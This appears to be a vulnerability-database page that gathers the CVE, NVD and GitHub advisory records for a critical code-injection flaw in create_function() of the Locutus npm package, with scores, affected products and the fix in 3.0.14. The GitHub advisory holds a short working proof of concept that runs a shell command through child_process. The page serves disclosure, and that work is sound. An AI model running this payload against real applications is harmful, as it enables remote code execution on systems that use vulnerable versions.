Vulnerability-Lookup

CVE-2026-32304 (GCVE-0-2026-32304)

Vulnerability from cvelistv5 – Published: 2026-03-12 21:24 – Updated: 2026-07-15 01:08

Title

Locutus: RCE via unsanitized input in create_function()

Summary

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-13 13:12 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Assigner

GitHub_M mitre root Scorecard

References

5 references

URL	Tags
https://github.com/locutusjs/locutus/security/adv…	x_refsource_CONFIRM
https://github.com/locutusjs/locutus/releases/tag…	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-32304	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2447200	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

2 products

Vendor	Product	Version	CPE status
locutusjs	locutus	Affected: < 3.0.14	guessed
Red Hat	Logging Subsystem for Red Hat OpenShift	cpe:/a:redhat:logging:5

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              "name": "https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8"
            },
            {
              "name": "https://github.com/locutusjs/locutus/releases/tag/v3.0.14",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.14"
            }
          ],
          "source": {
            "advisory": "GHSA-vh9h-29pq-r5m8",
            "discovery": "UNKNOWN"
          },
          "title": "Locutus: RCE via unsanitized input in create_function()"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-32304",
        "datePublished": "2026-03-12T21:24:51.730Z",
        "dateReserved": "2026-03-11T21:16:21.659Z",
        "dateUpdated": "2026-03-13T13:12:13.553Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-32304

Vulnerability from fkie_nvd - Published: 2026-03-13 19:54 - Updated: 2026-07-15 02:19

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/locutusjs/locutus/releases/tag/v3.0.14	Product, Release Notes
security-advisories@github.com	https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8	Exploit, Mitigation, Patch, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-32304
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2447200
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32304.json

Impacted products

	Vendor	Product	Version
	locutus	locutus	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "locutus",
          "vendor": "locutusjs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.0.14"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-logging/elasticsearch6-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-logging/elasticsearch-operator-bundle",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-logging/elasticsearch-proxy-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-logging/elasticsearch-rhel9-operator",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-logging/kibana6-rhel8",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-logging/logging-curator5-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "96DC0599-8FE6-45BD-AE3C-A76DE784C161",
              "versionEndExcluding": "3.0.14",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14."
    },
    {
      "lang": "es",
      "value": "Locutus trae bibliotecas est\u00e1ndar de otros lenguajes de programaci\u00f3n a JavaScript con fines educativos. Antes de la versi\u00f3n 3.0.14, la funci\u00f3n create_function(args, code) pasa ambos par\u00e1metros directamente al constructor Function sin ninguna sanitizaci\u00f3n, permitiendo la ejecuci\u00f3n de c\u00f3digo arbitrario. Esto es distinto de CVE-2026-29091, que era call_user_func_array usando eval() en v2.x. Este hallazgo afecta a create_function usando new Function() en v3.x. Esta vulnerabilidad est\u00e1 corregida en 3.0.14."
    }
  ],
  "id": "CVE-2026-32304",
  "lastModified": "2026-07-15T02:19:58.393",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-32304",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-13T13:12:02.296127Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-13T19:54:41.830",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.14"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-32304"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447200"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32304.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-88"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-VH9H-29PQ-R5M8

Vulnerability from github – Published: 2026-03-13 16:10 – Updated: 2026-03-16 17:06

Summary

Locutus vulnerable to RCE via unsanitized input in create_function()

Details

Summary

The create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution.

This is distinct from CVE-2026-29091 (GHSA-fp25-p6mj-qqg6) which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x.

Root Cause

src/php/funchand/create_function.ts:17:

return new Function(...params, code)

Zero input validation on either parameter.

PoC

const { create_function } = require('locutus/php/funchand/create_function');
const rce = create_function('', 'return require("child_process").execSync("id").toString()');
console.log(rce());
// Output: uid=501(user) gid=20(staff) ...

Confirmed on locutus v3.0.11, Node.js v24.13.1.

Impact

Full RCE when an attacker can control either argument to create_function(). 597K weekly npm downloads.

Suggested Fix

Remove create_function or replace new Function() with a safe alternative. PHP itself deprecated create_function() in PHP 7.2 for the same reason.

Response

Thanks for the report.

We confirmed that php/funchand/create_function was still present through locutus@3.0.13 and that it exposed dynamic code execution via new Function(...).

While this was intended behavior, create_function() inherently needs to be unsafe in order for it to work, create_function() was deprecated in PHP 7.2 and removed in PHP 8.0. Given that Locutus' parity target today is 8.3, this function shouldn't have been in Locutus at all anymore.

We fixed this in locutus@3.0.14 by removing php/funchand/create_function entirely. That matches our PHP 8.3 parity target more closely: .

We also updated php/var/var_export so closures now export using the PHP 8-style \Closure::__set_state(array(...)) form instead of referencing the removed API.

Release: - npm: locutus@3.0.14 - GitHub release: https://github.com/locutusjs/locutus/releases/tag/v3.0.14

Credit to @ByamB4 for the report.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T16:10:29Z",
    "nvd_published_at": "2026-03-13T19:54:41Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `create_function(args, code)` function passes both parameters directly to the `Function` constructor without any sanitization, allowing arbitrary code execution.\n\nThis is distinct from CVE-2026-29091 (GHSA-fp25-p6mj-qqg6) which was `call_user_func_array` using `eval()` in v2.x. This finding affects `create_function` using `new Function()` in v3.x.\n\n## Root Cause\n\n`src/php/funchand/create_function.ts:17`:\n```typescript\nreturn new Function(...params, code)\n```\n\nZero input validation on either parameter.\n\n## PoC\n\n```javascript\nconst { create_function } = require(\u0027locutus/php/funchand/create_function\u0027);\nconst rce = create_function(\u0027\u0027, \u0027return require(\"child_process\").execSync(\"id\").toString()\u0027);\nconsole.log(rce());\n// Output: uid=501(user) gid=20(staff) ...\n```\n\nConfirmed on locutus v3.0.11, Node.js v24.13.1.\n\n## Impact\n\nFull RCE when an attacker can control either argument to `create_function()`. 597K weekly npm downloads.\n\n## Suggested Fix\n\nRemove `create_function` or replace `new Function()` with a safe alternative. PHP itself deprecated `create_function()` in PHP 7.2 for the same reason.\n\n## Response\n\nThanks for the report.\n\nWe confirmed that `php/funchand/create_function` was still present through `locutus@3.0.13` and that it exposed dynamic code execution via `new Function(...)`.\n\nWhile this was intended behavior, `create_function()` inherently needs to be unsafe in order for it to work, `create_function()` was deprecated in PHP 7.2 and removed in PHP 8.0. Given that Locutus\u0027 parity target today is 8.3, this function shouldn\u0027t have been in Locutus at all anymore.\n\nWe fixed this in `locutus@3.0.14` by removing `php/funchand/create_function` entirely. That matches our PHP 8.3 parity target more closely: . \n\nWe also updated `php/var/var_export` so closures now export using the PHP 8-style `\\Closure::__set_state(array(...))` form instead of referencing the removed API.\n\nRelease:\n- npm: `locutus@3.0.14`\n- GitHub release: https://github.com/locutusjs/locutus/releases/tag/v3.0.14\n\nCredit to @ByamB4 for the report.",
  "id": "GHSA-vh9h-29pq-r5m8",
  "modified": "2026-03-16T17:06:41Z",
  "published": "2026-03-13T16:10:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32304"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locutusjs/locutus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Locutus vulnerable to RCE via unsanitized input in create_function()"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-32304 (GCVE-0-2026-32304)

FKIE_CVE-2026-32304

GHSA-VH9H-29PQ-R5M8

Summary

Root Cause

PoC

Impact

Suggested Fix

Response

Tags

Sightings

Nomenclature

Related by attack behaviour